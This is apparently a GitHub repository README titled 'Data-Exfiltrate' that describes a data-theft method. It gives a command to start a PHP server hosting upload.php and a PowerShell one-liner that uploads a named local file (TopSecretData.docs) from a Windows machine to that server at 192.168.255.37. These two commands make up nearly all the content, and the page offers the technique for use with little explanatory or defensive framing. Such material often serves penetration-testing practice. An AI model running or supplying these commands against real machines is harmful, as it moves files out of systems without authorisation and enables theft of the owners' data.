Skip to content

Using PHP upload page and Windows PowerShell to exfiltrate data

License

Notifications You must be signed in to change notification settings

botesjuan/Data-Exfiltrate

Repository files navigation

Data-Exfiltrate

Using PHP upload page and Windows PowerShell to exfiltrate data

In directory where the upload.php file is hosted, start PHP development server on port 80.

php -S 0.0.0.0:80

PHP Dev Server

On the source windows machine with the data files you want to upload execute the following powershell command to send the destination URL the source file path and name.

powershell $(New-Object System.Net.WebClient).UploadFile('http://192.168.255.37/upload.php', 'C:\users\SkippyPeanut\Downloads\TopSecretData.docs');

PowerShell Upload

Data Exfiltration.

About

Using PHP upload page and Windows PowerShell to exfiltrate data

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published

Languages